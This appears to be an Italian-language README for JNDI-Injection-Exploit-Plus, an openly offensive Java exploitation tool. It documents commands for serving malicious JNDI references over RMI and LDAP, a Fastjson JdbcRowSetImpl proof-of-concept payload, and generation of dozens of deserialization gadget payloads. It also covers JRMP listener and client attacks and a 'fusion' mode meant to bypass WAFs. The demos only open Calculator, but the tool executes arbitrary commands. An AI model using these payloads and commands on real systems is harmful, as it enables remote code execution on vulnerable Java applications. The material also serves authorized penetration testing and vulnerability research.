JNDI-Injection-Exploit-Plus

README in cinese

Descrizione

JNDI-Injection-Exploit-Plus è uno strumento per generare link JNDI funzionanti e fornire servizi in background avviando server RMI, LDAP e HTTP.

Usando questo strumento puoi ottenere link JNDI che puoi inserire nel tuo POC per testare la vulnerabilità.

Per esempio, questo è un vul-poc di Fastjson:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Possiamo sostituire "rmi://127.0.0.1:1099/Object" con il link generato da JNDI-Injection-Exploit-Plus per testare la vulnerabilità.

Inoltre, puoi anche usare JNDI-Injection-Exploit-Plus per generare payload di tipo base64/hex come ysoserial

Più di JNDI-Injection-Exploit

JNDI-Injection-Exploit è un ottimo strumento, questa è la versione plus.

Cosa c'è di più

1. Più gadget di riferimento remoto JNDI: (totale: 3)

• Supporto JDK 6/7/8

2. Più gadget di riferimento locale JNDI: (totale: 4)

3. Gadget di deserializzazione (totale: 75)

P.S. Più gadget (⬆️) di ysoserial, benvenuti a fare PR! ^_^

4. Generare ed esportare payload

Come ysoserial.

Puoi generare i payload di deserializzazione con output di tipo Base64 o HEX

5. Wrapper

Alcuni wrapper per incapsulare dati di deserializzazione.

• Esempio

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusione

Nasconde il nome della classe per bypassare il WAF.

• Esempio

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Riferimento: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Servizio web per restituire gadget di deserializzazione

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. I parametri wrapper e output sono opzionali

Utilizzo

Link JNDI

Esegui come

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

dove:

• -C - comando eseguito nel classfile remoto.

  (opzionale, comando predefinito è "open /Applications/Calculator.app")

• -A - l'indirizzo del tuo server, può essere un indirizzo IP o un dominio.

  (opzionale, indirizzo predefinito è il primo indirizzo dell'interfaccia di rete)

Punti di attenzione:

• assicurati che le porte del server (1099, 1389, 8180) siano disponibili.

  oppure puoi cambiare la porta predefinita nella classe run.ServerStart.

• il tuo comando viene passato a Runtime.getRuntime().exec() come parametro,

  quindi devi assicurarti che il comando sia eseguibile nel metodo exec().

  I comandi in bash come "bash -c ...." necessitano di virgolette doppie.

Payload di deserializzazione

Esegui come

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

dove:

• -C - comando eseguito nel classfile remoto.

  (opzionale, comando predefinito è "open /Applications/Calculator.app")

• -D - Il nome del payload del gadget di deserializzazione.

• -O - (Opzionale) Il tipo di output di deserializzazione, predefinito base64

Exploit di deserializzazione

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Esempi

Link JNDI

Demo locale:

1. Avvia lo strumento in questo modo:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Screenshot:

   

2. Supponiamo di iniettare i link JNDI come rmi://ADDRESS/remoteExploit8 generati nel passo 1 in un'applicazione vulnerabile che può essere attaccata tramite JNDI injection.

   In questo esempio, appare così:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   quindi quando eseguiamo questo codice, il comando verrà eseguito,

   e il log verrà stampato nella shell:

   

Per ulteriori esempi: Test-JNDI-Injection-Exploit-Plus

Payload di deserializzazione

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Risultato dell'output Base64:

Installazione

Possiamo selezionare uno dei due metodi per ottenere il jar.

1. Scarica l'ultimo jar da Realease.

2. Clona il codice sorgente in locale e builda (richiede Java 1.8+ e Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Se ottieni un errore come "java.rmi.xxx does not exists", dovresti impostare la variabile d'ambiente JAVA_HOME.

Dichiarazione di non responsabilità

Tutte le informazioni e il codice sono forniti esclusivamente per scopi educativi e/o per testare i propri sistemi per queste vulnerabilità.